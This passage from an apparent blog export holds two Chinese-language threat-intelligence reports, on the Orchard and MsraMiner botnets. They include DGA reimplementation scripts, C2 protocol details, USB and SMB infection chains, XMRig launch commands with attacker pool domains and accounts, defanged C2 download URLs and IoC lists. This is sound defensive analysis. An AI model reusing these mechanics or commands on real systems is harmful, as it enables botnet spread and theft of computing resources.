dga_list.append(md5[16:24])\n dga_list.append(md5[24:32])\n for j in range(len(dga_list)):\n print(dga_list[j] + '.com')\n print(dga_list[j] + '.net')\n print(dga_list[j] + '.org')\n print(dga_list[j] + '.duckdns.org')\n```\n\n示例域名如下：\n```\nseed: 2022/07/05\nmd5: 91ac64d29f78281ad802f44648b2137f\n91ac64d2.com\n91ac64d2.net\n91ac64d2.org\n91ac64d2.duckdns.org\n9f78281a.com\n9f78281a.net\n9f78281a.org\n9f78281a.duckdns.org\nd802f446.com\nd802f446.net\nd802f446.org\nd802f446.duckdns.org\n48b2137f.com\n48b2137f.net\n48b2137f.org\n48b2137f.duckdns.org\n```"}],["markdown",{"markdown":"### v2版本\n\nv2版本出现了两种编程语言实现的样本，分别是Golang和C++，但是功能相同。这里的分析以MD5=[f3e0b960a48b433bc4bfe6ac44183b74](https://www.virustotal.com/gui/file/5da3a405fea843ed422c06987179e0ac47b915c1d12cc608ce4ecb187edf5f03/details)的Golang样本为例，它的C2初始化函数如下图所示，能明显看到硬编码的C2域名。"}],["image",{"src":"__GHOST_URL__/content/images/2021/09/3.png","cardWidth":"","caption":""}],["markdown",{"markdown":"\n\nv2版本开始使用json格式，字段含义相对清晰。其收集的信息跟v1大致相同，包括：卷序列号（HWID）、电脑名称、用户名、系统版本、杀软信息、活动窗口信息等，新增的字段有：.net框架版本（比如v2.0.50727）、USB 状态、发包类型及自身版本。下面是一个实际观察到的版本号信息，Bot_Version=1.2/G可能的解释为：版本=v1.2，编写语言=Golang。\n\n\n\n\n\nv2版本的C++语言样本集成了同样的C2，上线包中的版本信息则变成了“Bot_version:1/C”，它所收集的信息如下图所示。\n\n\n\n\n根据代码相似性分析，v2版本的C++样本跟后来的v3版本代码同源，说明后者是从前者进化而来。\n\nv2版本一共有两种指令：\n* 指令1：终结当前进程删除原始文件，或者重新启动。\n* 指令2：判断响应数据为URL或者PE，如果是URL则下载执行，如果是PE，则创建进程执行（CreateProcess创建进程、傀儡进程、远程线程注入等）。\n\n"}],["markdown",{"markdown":"\n\n\n#### DGA算法\n\n\nv2版本的DGA算法跟v1相同，差别在于对日期字符串的处理，v2会在日期字符串后拼接硬编码的域名“orchardmaster.duckdns.org”，形如“2022/07/05orchardmaster.duckdns.org\"，然后套用v1版本的DGA算法生成域名。"}],["markdown",{"markdown":"### v3版本\n\nv3的开发语言回到C++编写，同样包括C2通信和USB感染功能。C2通信逻辑在一个线程中运行，同时该线程还包括一个跟XMRig挖矿绑定的辅助线程，当Orchard接收完毕下发的XMrig程序并创建傀儡进程运行之后，辅助线程会向C2再次发送挖矿相关的硬件信息，尝试从C2读取挖矿软件的配置，目的是为了检查是否需要动态修改XMRig运行时的配置（XMRig提供了一套HTTP api，支持动态读取并修改运行时的挖矿配置）。\n\n以MD5=cb442cbff066dfef2e3ff0c56610148f的样本为例，C2通信功能如下。\n\n\n\n\nv3版本在C2通信中同样使用json格式来保存主机信息，发送数据的整体结构为**Byte_0x46+TotalLen+InfoLen+Info.json**。相比v2，v3增加了多个跟挖矿相关的字段，收集的信息包括：\n* Active_Window：当前活动窗口名称\n* Antivirus：杀软信息\n* Authentiate_Type：Windows身份验证类型\n* CPU_Model：CPU信息\n* Camera：是否存在摄像头\n* Elevated：是否是管理员权限\n* GPU_Models：显卡信息\n* Identity：HWID\\\\用户名\\\\电脑名称\n* Operating_System：系统版本信息\n* Ram_Size：运行内存大小\n* System_Architecture：处理器个数\n* Threads：每个处理器内核个数\n* Version：Orchard版本\n\nv3的上线包实例如下所示。\n\n\n\nC2响应消息的body部分也为json格式，其结构为：TotalLen.dword+ Byte0x46+TotalLen+RespDataLen+RespData.json。v3支持8个指令，对应3种操作：\n* 指令1：收集主机信息/自身运行状态并发送到C2（字段包括Domain、In_Memory、Install_Path、Is_Patched、Message_Type、Patch_Name、Port、Power_SaverMode、Process_ID、Process_Name、Process_Path、System_Idle、System_Uptime）\n* 指令4、6：终结当前进程删除原始文件，或者重新启动。\n* 指令7、8：下载&执行下发的矿机程序\n\n下面是一个实际跟踪到的C2响应指令。\n\n\n\n其中Transfer_Port表示希望主机再次向2929进行请求，Message_Type表示指令码，其值为7，表示下载&执行。\n\n收到上述指令后，bot再次向C2的TCP 2929端口发起请求，Cuda是Nvidia推出的只能用于自家GPU的并行计算框架，这里的Cuda_Version为0表示不支持Cuda。\n\n\n\n\n随后C2响应一个XMRig矿机程序，Client接收保存后根据指令7将XMRig注入傀儡进程开始执行挖矿工作。\n\n\n\n\n\n\n分析过程中我们发现v3版本最近在持续分发一个同样的XMRig挖矿程序，后者集成了默认的挖矿配置信息，私有矿池地址：45.61.187.7:7733\n\n\n\n\n"}],["markdown",{"markdown":"\n#### DGA算法\n\nv3的DGA算法未变，但输入的变化较大。实际上它会生成两组DGA域名，第一组域名的输入拼接算法是日期字符串+“ojena.duckdns.org”， 形如 “2022-08-02ojena.duckdns.org”。第二组域名的输入为```https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa``` 这个URL的返回结果，一个典型的返回结果如下所示：\n```\n{\"1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa\":\"final_balance\":6854884253,\"n_tx\":3393,\"total_received\":6854884253}}\n```\n\n相关字段的含义可以参考[Blockchain](https://zh.m.wikipedia.org/zh-hans/Blockchain.com)的[API手册](http://cw.hubwiz.com/card/c/blockchain-api/1/3/9/)：\n```\nn_tx：交易数量\ntotal_received：接收比特币总量\nfinal_balance：最终余额\n```\n\n值得强调的是v3版本并未对返回的结果进行解析，而是作为整体直接输入DGA算法来生成域名。而钱包地址```1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa``` 据说是中本聪本人所持有的[比特币创世地址](https://en.bitcoin.it/wiki/Genesis_block)。过去的十几年间，由于各种原因，每天都会有人向该钱包转入小量比特币，因此它是变化的，并且该变化很难预测，因此该钱包的余额信息也可以作为DGA输入。\n\n在我们编写文章时，发现近期已有[其他研究人员注意到v3版本这种将比特币账号交易信息用作DGA输入的现象](https://bin.re/blog/the-dgas-of-sharkbot/)，所分析结果与我们一致，但对方并没有注意到Orchard其实早已出现。\n\n完整的v3版本DGA算法如下：\n\n```\n# 2022/07/05\nimport datetime\nimport requests\nimport hashlib\n\n# cluster 1\ndays = 30\nfor i in range(0, days):\n domains = ['ojena.duckdns.org', 'vgzero.duckdns.org']\n for do in domains:\n datex = (datetime.datetime.now() - datetime.timedelta(days=i)).strftime('%Y-%m-%d' + do)\n print(\"seed_1: %s\" % datex)\n md5 = hashlib.md5(datex.encode()).hexdigest()\n print(\"md5: %s\" % md5)\n \n dga_list = []\n dga_list.append(md5[:8])\n dga_list.append(md5[8:16])\n dga_list.append(md5[16:24])\n dga_list.append(md5[24:32])\n for j in range(len(dga_list)):\n print(dga_list[j] + '.com')\n print(dga_list[j] + '.net')\n print(dga_list[j] + '.org')\n print(dga_list[j] + '.duckdns.org')\n\n\n# cluster 2\nurl = 'https://blockchain.info/balance?active=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa' \nres = requests.get(url)\nwallet_info = res.text\nprint('seed_2: %s' % wallet_info)\nmd5 = hashlib.md5(wallet_info.encode()).hexdigest()\nprint('md5: %s' % md5)\n\ndga_list = []\ndga_list.append(md5[:8])\ndga_list.append(md5[8:16])\ndga_list.append(md5[16:24])\ndga_list.append(md5[24:32])\nfor j in range(len(dga_list)):\n print(dga_list[j] + '.com')\n print(dga_list[j] + '.net')\n print(dga_list[j] + '.org')\n print(dga_list[j] + '.duckdns.org')\n\n```\n"}],["markdown",{"markdown":"### USB感染逻辑\n\nOrchard的文件感染并非传统的代码插入，而是一种文件替换。当检测到USB存储设备时，Orchard会在设备根目录下创建隐藏目录，遍历所有文件进行感染，并将感染前和感染后的文件都备份到该隐藏目录下，被感染对象在感染时去掉了类型属性，感染后全部变为exe类型，并追加了.exe后缀，变成了可执行文件。随后样本会复制自身到被感染目录下并随机命名，该字符串保存到了被感染文件的资源里。当设备中的被感染文件在新系统中被用户执行后，则会启动隐藏目录中的样本文件，达到感染传播的目的。\n\n\nUSB感染过程会涉及两个内嵌的PE文件，第一个文件是DLL文件，会被释放到%LocalAppData%目录下，该DLL被Orchard称作CGO_Helper，主要用于提取和替换被感染文件的图标，其MD5是10D42F5465D5D8808B43619D8266BD99。第二个文件是exe文件，MD5为f3c06399c68c5fdf80bb2853f8f2934b，作为存储感染代码的模板文件，被感染文件的全部数据将被替换为该模板文件的数据。该模板的功能是根据资源中的exe名称寻找隐藏目录下对应的exe启动执行，所以被感染文件的资源中保存的是备份的Orchard样本名称。\n"}],["markdown",{"markdown":"USB感染情况示例如下，被感染文件资源中保存了Orchard样本的名称，当用户点击受感染的exe，将启动隐藏目录下的Orchard样本文件：\n\n\n\n"}],["markdown",{"markdown":"\n\n## 总结\nOrchard是一个使用了DGA技术的botnet家族，最新版本致力于挖矿，并开始使用中本聪的比特币账号交易信息这类更难预测的信息作为DGA的输入，增加了检测难度。在1年多的时间里，Orchard先后出现了至少3个不同版本，编程语言和DGA实现都有变化，这说明Orchard是一个仍处于活跃期的botnet家族，预计后续会有更多的变种出现，值得我们警惕。对Orchard我们会持续保持关注，有新的发现会继续公开。\n\n## 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。"}],["markdown",{"markdown":"\n\n## IOCs\n### C2\n```\norcharddns.duckdns.org\norchardmaster.duckdns.org\nojena.duckdns.org\nvgzero.duckdns.org\nvictorynicholas.duckdns.org\nzamarin1.duckdns.org\n\n45.61.185.36\n45.61.186.52\n45.61.187.240\n205.185.124.143\n45.61.185.231\n```\n\n###MD5\n```\n5c883ff8539b8d04be017a51a84e3af8\nf3e0b960a48b433bc4bfe6ac44183b74\n9cbe4bd27eba8c70b6eddaeb6707659b\ncb442cbff066dfef2e3ff0c56610148f\n10D42F5465D5D8808B43619D8266BD99\nf3c06399c68c5fdf80bb2853f8f2934b\n19159280736dbe6c11b7d6a57f6bb7b9\nb5a6f78d5575a60316f4e784371d4f8c\n3c20ba851edecd28c198691321429883\n2b244a39571ab27f7bb4174d460adeef\nae1e9b3621ee041be6ab5e12bff37c53\n00b1620f89b7980b34d53737d9e42fd3\n4d2445a43591d041cabbbf3dfca6dfbd\n```\n\n###私有矿池\n```\n45.61.187.7:7733\n```\n\n\n\n\n\n"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[10,5],[10,6],[10,7],[10,8],[10,9],[10,10],[10,11],[10,12],[10,13],[1,"p",[]]],"ghostVersion":"3.0"} | 613f0ec23819e50007634f04 |
post | null | 2021-09-24T09:55:10.000Z | 63873b9a8b1c1e0007f52fe2 | msraminer-qian-fu-yi-jiu-de-wa-kuang-jiang-shi-wang-luo | 0 | 2021-09-24T10:04:34.000Z | public | published | null | 2018-03-16T10:00:00.000Z | MsraMiner: 潜伏已久的挖矿僵尸网络 | <p>2017 年 11 月底，我们的 DNSMon 系统监测到几个疑似 DGA 产生的恶意域名活动有异常。经过我们深入分析，确认这背后是一个从 2017 年 5 月份运行至今的大型挖矿僵尸网络（Mining Botnet）。此僵尸网络最新的核心样本压缩包文件名为 MsraReportDataCache32.tlb ，我们将其命名为MsraMiner Botnet。</p><p>该僵尸网络的特征包括：</p><ul><li>运行时间：2017 年 5 月份运行至今</li><li>传播方式：利用 NSA 武器库来感染，通过 SMB 445 端口传播蠕虫式传播：样本自带 Web Server提供自身恶意代码下载。样本扩散主要靠失陷主机之间的 Web Server 或 Socket 传输，同时提供了 C&C 端获取样本作为后备机制；</li><li>传播范围：感染失陷主机数量保守估计30,000 台</li><li>获利手段：主要是挖矿挖矿进程由 XMRig 编译而来；矿池：利用自行注册的域名做掩护，CNAME到知名的 xmr.pool.minergate.com矿池账号：是一批 Protonmail 的邮箱地址，Protonmail 是知名的匿名邮箱供应商部分样本的挖矿行为，可以根据 C&C 域名的解析结果来控制；</li><li>新的逃避检测的手段：C&C 域名形似 DGA 产生，非常随机，其实都硬编码在样本中；主动抑制：C&C 域名大部分时间会解析到保留地址段，会一定程度上抑制样本的传播和更新，历史上解析过的 C&C IP 相关端口也会封闭，只会在短暂的时间内放开 C&C 的正常服务功能。</li></ul><h4 id="-"><strong>规模与流行度</strong></h4><p>根据 DNSMon 统计，MsraMiner 相关 C&C 域名中请求量最高的是 d.drawal.tk ，巅峰时期达到 6.7M/天，直 到现在，每天的请求量还在 2M 上下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_1.png" class="kg-image" alt loading="lazy"></figure><p>其他 C&C 域名的请求量均低一个数量级，但巅峰时期也能达到 500K+/天，趋势图如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_2.png" class="kg-image" alt loading="lazy"></figure><p>在我们 DNSMon 内部的域名流行度排行中， s.darwal.tk 历史最高流行度排名达到 165417 名。作为对比，我们此前发现的百万级僵尸节点的僵尸网络 MyKings 中，历史流行度排名最高的 C&C 域名 up.f4321y.com 排名为 79753 。</p><h4 id="msraminer-"><strong>MsraMiner 的版本与迭代</strong></h4><p>据我们的追溯分析，MsraMiner 共有 2 个大版本，每个大版本中有 1 版明显的更新，我们将其版本命名为 v1.0/v1.1，v2.0/v2.1(当前最新)，各版本发生的期间和对应的C2 如下表所示：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_3.png" class="kg-image" alt loading="lazy"></figure><p>MsraMiner v1.x 组成结构简单，小版本更新主要区别在于 C&C：</p><ul><li>v1.0 起始于 2017.5 月份，2017.7 月份终止，仅靠一个主 C&C 域名 eea.asf3r23.cf 支撑；</li><li>v1.1 起始于 2017.7 月份，2017.11 月份开始逐渐消亡，主要靠 3 个 C&C 域名 s.drawal.tk / d.drawal.tk / z.drawal.tk 支撑。</li><li>v1.0 / v1.1 的更新，通过前面的域名请求趋势图可以清晰地看出来，在 2017.7 月初， eea.asf3r23.cf 的请求量骤降，而 *.darwal.tk 三个域名的请求量骤增。</li></ul><p>MsraMiner v2.x 组成相对复杂，小版本更新主要区别在于部分文件名和服务名的变更，以及与 C&C 服务器的交互。细节：</p><ul><li>v2.0 起始于 2017.11 月份，此时， *.darwal.tk 三个域名的请求量骤降，而 swt.njaavfxcgk3.club / rat.kziu0tpofwf.club 等 C&C 域名的请求量骤增；</li><li>v2.1 起始于 2017.12 月底，此时 MsraMiner 上线了一批新的 C&C 域名，并对样本做了小幅更新。</li></ul><p>MsraMiner 这些版本相关的域名、样本、IP 等 IoC，在背后都有千丝万缕的联系，通过下图可以直观看出来（箭头所指为 IoC 关联的点）：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_4.png" class="kg-image" alt loading="lazy"></figure><h4 id="--1"><strong>挖矿</strong></h4><p>第一代 MsraMiner 挖矿行为相对简单，启动参数如下（其他配置则在 iolchxfz32.dat 文件中）：</p><pre><code>‐o stratum+tcp://xmr.pool.minergate.com:45560‐u [email protected] ‐t %d
</code></pre><p>第二代 MsraMiner 挖矿的矿池和账户就比较隐蔽。矿池地址和账户以及部分 C&C 域名被硬编码在前一阶段样本 中，并由前一阶段样本保存到注册表中。下一阶段样本会读取注册表中的加密数据，解密之后作为启动矿机的参 数，其中解密出来的矿池域名和挖矿账户：</p><pre><code>-o p1.mdfr6avyyle.online:45560 -u [email protected]
-o p3.mdfr6avyyle.online:45560 -u [email protected]
-o p5.mdfr6avyyle.online:45560 -u [email protected]
-o p1.qsd2xjpzfky.site:45560 -u [email protected]
-o p3.qsd2xjpzfky.site:45560 -u [email protected]
-o p5.qsd2xjpzfky.site:45560 -u [email protected]
-o p1.vpccaydoaw.live:45560 -u [email protected]
-o p3.vpccaydoaw.live:45560 -u [email protected]
-o p5.vpccaydoaw.live:45560 -u [email protected]
</code></pre><p>MsraMiner 启动矿机（XMRig），还会根据当前 CPU 配置自动调整 -t 参数，即线程数，调整策略如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_5.png" class="kg-image" alt loading="lazy"></figure><p>而上面那些矿池域名并非自建矿池，它们的 CNAME 都是 xmr.pool.minergate.com ，我们统计到的 CNAME 配置为 xmr.pool.minergate.com 的域名有：</p><pre><code>p1.jdi1diejs.club
p1.mdfr6avyyle.online
p1.qsd2xjpzfky.site
p1.vpccaydoaw.live
p3.mdfr6avyyle.online
p3.qsd2xjpzfky.site
p3.vpccaydoaw.live
p4.jdi1diejs.club
p5.mdfr6avyyle.online
p5.qsd2xjpzfky.site
p5.vpccaydoaw.live
</code></pre><h4 id="v1-x-"><strong>V1.x 系列样本行为分析</strong></h4><h6 id="--2">文件构成</h6><p>第一代 MsraMiner 涉及的原始样本文件如下（注明 zip 的，文件实为 ZIP 压缩包）</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_6.png" class="kg-image" alt loading="lazy"></figure><p>其中的 Crypt 文件实为 NSA Toolkit Zip 压缩包，其解压后的文件列表如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_7.png" class="kg-image" alt loading="lazy"></figure><h6 id="--3">执行流程</h6><p>第一代 MsraMiner 会利用上述文件完成感染，进而在失陷主机上启动矿机程序来挖矿，其感染的概要过程为（A 与 B 均为失陷主机）：</p><p>(A)svchost.exe-->(A)spoolsv.exe-->(payload to crack B)x86.dll/x64.dll-->(B)svchost.exe</p><p>流程图如下（假设失陷主机 A 为攻击机，去感染 B 主机，系统均为 32bit，如无注明，均以 v1.1 的样本分析结果进行描述）：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_8.png" class="kg-image" alt loading="lazy"></figure><p>首先，A 中启动的 svchost.exe 程序，通过 schtasks.exe /create 命令注册系统服务，开机启动，从而驻留系统：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_9.png" class="kg-image" alt loading="lazy"></figure><p>A 中 svchost.exe 通过 HTTP POST 请求，向 hxxp://d.drawal.tk:443 发送程序运行日志 [*] Hello %d<br>min...\n ，后续运行过程中还会频繁向该接口发送其他内容的程序运行日志。v1.0 版本中，承载此功能的C&C 域名是 eea.asf3r23.cf ；<br>A 中 svchost.exe 启动一个线程，从自身 BIN 资源中抽取矿机程序，启动挖矿；<br>A 中 svchost.exe 启动一个线程，该线程启用了一个 Mongoose 框架实现的 Mini Web Server，端口为<br>26571 ，该 Web Server 把本机的 dnsclientprovider_userdata.mof 文件对外提供下载，对方通过 HTTP<br>GET 方式请求此资源，svchost32.exe 就会把该文件推送过去；如果对方通过其他 HTTP Post 访问该 Web 服务，则返回 HTTP 404；如果是其他 HTTP Method 访问该 Web 服务，则返回字符串 Hell World? ；</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_10.png" class="kg-image" alt loading="lazy"></figure><p>A 中 svchost.exe 启动线程，每隔 900s 运行一次本地的 spoolsv.exe 程序，该程序会先释放自身 BIN 资源中的 Crypt （实为 NSA Toolkit zip 压缩包），将 Crypt 解压，并把其中的文件释放到 %win_dir%\IME\Crypt\ 目录中，然后启动 Crypt 目录中的相关工具程序，对同网段中其他机器（比如机器B）发起感染；</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_11.png" class="kg-image" alt loading="lazy"></figure><p>A 中 spoolsv.exe 会启动 Crypt\spoolsv.exe 发起感染，如果成功感染机器 B，则会把 Crypt\x86.dll 作为Payload 去机器 B 上执行；<br>A 中 svchost.exe 每隔 901.5s 左右向 z.drawal.tk:8080 发送一次本机详细配置信息，v1.0 版本中，承载此功能的 C&C 域名为 eea.asf3r23.cf ；</p><p>B 中，x86.dll 文件做以下几件事：</p><ul><li>create mutex {5EC0AC33D-E23D-C8A2-A92C833} ；</li><li>检测本地是否存在 dnsclientprovider_userdata.mof ，若有，则删除；</li><li>从 A 机器的 Mini Web Server 获取 dnsclientprovider_userdata.mof ，将其中的 iolchxfz32.dat / svchost32.exe / spoolsv32.exe 解压出来，放到 %win_dir%\IME\Crypt\ 中，并分别重命名为 settings7283.dat / svchost.exe / spoolsv.exe</li><li>将 svchost.exe 通过 schtasks.exe /create 命令注册系统服务，并启动 svchost.exe；</li><li>至此，通过 (A)svchost.exe-->(A)spoolsv.exe-->(payload to crack B)x86.dll-->(B)svchost.exe 的攻击链完成一轮感染。</li></ul><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_12.png" class="kg-image" alt loading="lazy"></figure><p>值的一提的是，svchost.exe 可以通过 s.drawal.tk 域名的解析情况来控制矿机的启动与终止（v1.0 不具有此功能）：</p><ul><li>如果 s.drawal.tk 解析 IP 的 A 段数字为 1 或 3 ，则不启动矿机，0.3s 后重新检查解析结果；</li><li>如果 900s 之后 s.drawal.tk 的解析结果有变化，则终止矿机运行。</li></ul><h4 id="v2-x-"><strong>V2.x 系列样本行为分析</strong></h4><h6 id="--4">文件构成</h6><p>第二代 MsraMiner 涉及的原始样本文件如下（注明 zip 的，文件实为 ZIP 压缩包）：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_13.png" class="kg-image" alt loading="lazy"></figure><p>第二代 MsraMiner 会利用上述文件完成感染，进而在失陷主机上启动矿机程序来挖矿。其感染的概要过程为（A 与 B 均为失陷主机）：</p><p>(A)srv-->(A)spoolsv.exe-->(payload to crack B)x86.dll/x64.dll-->(B)srv.exe</p><p>流程图如下（假设失陷主机 A 为攻击机，去感染 B 主机，系统均为 32bit，如无注明，均以 v2.1 的样本分析结果进行描述）：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_14.png" class="kg-image" alt loading="lazy"></figure><ul><li>A 中，srv 是个 DLL 文件，是 MsraMiner 驻留失陷主机的核心服务文件，在失陷主机上会被重命名为 tpmagentservice.dll 。srv 中的 ServiceCrtMain() 函数由 NSA 工具包的 Payload 启动：</li><li>A 中， srv 的 Common 模块检查自身的启动命令，如果不是由 svchost.exe / rundll32.exe / regsvr32.exe 其中之一启动，则结束进程，以此实现一定的反调试功能；</li><li>A 中，srv 的 Common 模块 在 C:\Windows\system32\ 目录下创建 NetTraceDiagnostics.ini 文件； A 中， srv 的 Common 模块会杀掉第一代、第二代 MsraMiner 的相关进程，停止旧服务（vmichapagentsrv ）、删除旧文件；</li><li>A 中 srv 的 Common 模块读取注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 下面 ServicesPixels 键的值，该处保存着变形 XOR 加密后的 C2 Domain、矿池域名和挖矿账号；</li><li>A 中 srv 的 WebHost 模块在 26931 端口启动 Mini WebServer，对任何 HTTP 请求均以 HTTP 404 响应。</li><li>v2.0 的 Mini WebServer 端口是 36215 ，且功能更复杂，既提供压缩包的下载（请求hxxp://[c2<em>domain]/NrsDataCache.tlb ），也提供注册表数据的下载（请求hxxp://[c2</em>domain]/d/msdownload/update/others/88ee176ce078def878ee.cab ）；</li><li>v2.0 的 srv 文件 还会通过 Downloader 模块向 C2 请求最新的配置数据（C2 Domain、矿 池域名和挖矿账号）；</li><li>v2.0 的 srv 文件，还会把当前进程的运行日志频繁发送给 hxxp://err.njaavfxcgk3.club:443 ； A 中 srv 的 Job 模块，会从 C:\Windows\system32\MsraReportDataCache32.tlb 中解压出 hash 文件（xmrig 矿机程序），重命名为 TrustedHostServices.exe （v2.0 会重命名为 SecUpdateHost.exe ），并用注册表中读取的配置作为启动参数，启动矿机（矿机的线程数量策略同 v1.x）；</li><li>A 中 srv 主模块会启动一个线程，每隔 1s 向 hxxp://[c2<em>domain]:4433/uri</em>path 发送 POST 请求，其中 uri_path 为 5b8c1d | d0a01e | a4c80e 其中之一，疑似可以从 C2 上获取 MsraReportDataCache32.tlb 来更新本地样本；</li><li>A 中 srv 的 Infection 模块从 C:\Windows\system32\MsraReportDataCache32.tlb 中解压出 spoolsv32 ，重命名为 spoolsv.exe 并启动，执行感染功能，spoolsv.exe 的具体功能如下：从 C:\Windows\system32\MsraReportDataCache32.tlb 中解压出 crypt(.zip)，crypt 是 NSA 工具包，从中取出攻击程序和配置文件，向局域网发起攻击，Payload 为 crypt 压缩包中的 86.dll / x64.dll；入侵成功后，Paylod DLL 在失陷主机 B 那里开 57219 端口，然后从攻击机把MsraReportDataCache32.tlb 上传到失陷主机 B；探测局域网主机 26931（Mongoose WebServer）端口，26931 端口由其他失陷主机的主控模块 srv 开 启；与 C2 交互（功能未明，C2 已失效，以下 C2 仅为举例）：</li></ul><pre><code>hxxp://acs.njaavfxcgk3.club:4431/f79e53
hxxp://acs.njaavfxcgk3.club:4433/5b8c1d
hxxp://rer.njaavfxcgk3.club:4433/a4c80e
hxxp://rer.njaavfxcgk3.club:4433/d0a01e
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
hxxp://ccc.njaavfxcgk3.club:4431/f79e53
hxxp://ccc.njaavfxcgk3.club:4433/5b8c1d
hxxp://rer.njaavfxcgk3.club:4433/a4c80e
hxxp://rer.njaavfxcgk3.club:4433/d0a01e
</code></pre><ul><li>B 中 x86.dll 有以下主要行为：删除旧文件 MsraReportDataCache32.tlb/tpmagentservice.dll/NetTraceDiagnostics.ini ；从 57219 端口接收 A 主机传过来的 MsraReportDataCache32.tlb ；将自身携带的加密数据存储到注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 下面 ServicesPixels 键中；终止旧的主服务，从 MsraReportDataCache32.tlb 中解压出 srv 文件，重命名为tpmagentservice.dll ，并重新注册服务 tpmagentservice ，启动 tpmagentservice.dll 的ServiceCrtMain() 函数。 至此，第二代 MsraMiner 完成了从失陷主机 A 到失陷主机 B 的感染，并根据配置文件启动矿机程序进行挖矿</li></ul><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_15.png" class="kg-image" alt loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2018/03/pic_16.png" class="kg-image" alt loading="lazy"></figure><h4 id="ioc-"><strong>IoC 列表</strong></h4><h3 id="--5"><strong>#</strong></h3><p>swt.njaavfxcgk3.club<br>x1.sk0zda1rmzs.world<br>x5.sk0zda1rmzs.world<br>d1d1d1.ftbxedwakc.me<br>x1x1x1.ftbxedwakc.me<br>tar.kziu0tpofwf.club<br>rer.njaavfxcgk3.club<br>acs.njaavfxcgk3.club<br>ccc.njaavfxcgk3.club<br>cf.sk0zda1rmzs.world<br>cm.sk0zda1rmzs.world<br>cmcmcm.ftbxedwakc.me<br>err.njaavfxcgk3.club<br>rat.kziu0tpofwf.club<br>p3.njaavfxcgk3.club<br>s.drawal.tk<br>d.drawal.tk<br>z.drawal.tk<br>eea.asf3r23.cf<br>p3.qsd2xjpzfky.site<br>p1.mdfr6avyyle.online<br>p1.qsd2xjpzfky.site<br>p5.qsd2xjpzfky.site<br>p5.mdfr6avyyle.online<br>p3.mdfr6avyyle.online<br>p1.vpccaydoaw.live<br>p5.vpccaydoaw.live<br>p3.vpccaydoaw.live</p><h6 id="c2-ip-asn">C2 ip asn</h6><p>AS20473 Choopa, LLC 104.238.149.229<br>AS20473 Choopa, LLC 107.191.61.152<br>AS20473 Choopa, LLC 108.61.246.77<br>AS20473 Choopa, LLC 108.61.247.93<br>AS4837 CHINA UNICOM China169 Backbone 119.188.68.5<br>AS20473 Choopa, LLC 207.246.100.220<br>AS20473 Choopa, LLC 45.32.110.163<br>AS20473 Choopa, LLC 45.32.121.95<br>AS20473 Choopa, LLC 45.32.127.108<br>AS20473 Choopa, LLC 45.32.48.160<br>AS20473 Choopa, LLC 45.32.51.130<br>AS20473 Choopa, LLC 45.63.127.197<br>AS20473 Choopa, LLC 45.63.94.237<br>AS20473 Choopa, LLC 45.76.103.25<br>AS20473 Choopa, LLC 45.76.185.56<br>AS20473 Choopa, LLC 45.76.188.118<br>AS20473 Choopa, LLC 45.76.199.181<br>AS20473 Choopa, LLC 45.76.48.72<br>AS20473 Choopa, LLC 45.76.51.49<br>AS20473 Choopa, LLC 45.76.55.4<br>AS20473 Choopa, LLC 45.77.11.148<br>AS20473 Choopa, LLC 45.77.14.227<br>AS20473 Choopa, LLC 45.77.20.217<br>AS20473 Choopa, LLC 45.77.22.234<br>AS20473 Choopa, LLC 45.77.25.58<br>AS20473 Choopa, LLC 45.77.29.88<br>AS20473 Choopa, LLC 45.77.31.21</p><h6 id="-md5">样本 md5</h6><p>011d6ce51b7806dca26c300e8d26f9bb<br>1e0022c02030f2b4353b583beffbade9<br>3aba72d1f87f4372162972b6a45ed8cd<br>593c0352bda3fee2e0d56d63601fa632<br>61c49acb542f5fa5ea9f2efcd534d720<br>6b6dd446403f10f43c33e83946eafa99<br>74fc7442f54a49875cbd5c3d6398847a<br>a937565fc52028949d8fca743c05b273<br>a9ef70160121d3d6ca0692b3081498fd<br>aa378f3f047acc8838ffd9fe4bd0025b<br>c24315b0585b852110977dacafe6c8c1<br>c284767a12c1670f30d3d1fe1cd8aedd<br>045cb0ab19e900e07f148233762cdff6<br>2bcd21c4ce8a1a2ff0769cd2aef2ff88<br>ed0fe346f568d6dff3aaf0077c91df2a<br>f7cd555799147d509e554b0e585aced0<br>c899d12ceff6ded5a37335f44356caaf<br>4b157f03f33cccb7b4182351a5126936<br>33fe92ae1bb36e7a7b7b7342627bd31e<br>49f7f7d75021e90761141c5fe76445a6<br>d92cd7ddb81d2c4a17e1b329ef7a2f1d<br>dca0d1e613f2ac48e231883870e5b3e9<br>739ab9250f32e006208f1ff15cd0d772<br>a8dfb2d7aee89a4b9ad194c7128954c6</p> | 2017 年 11 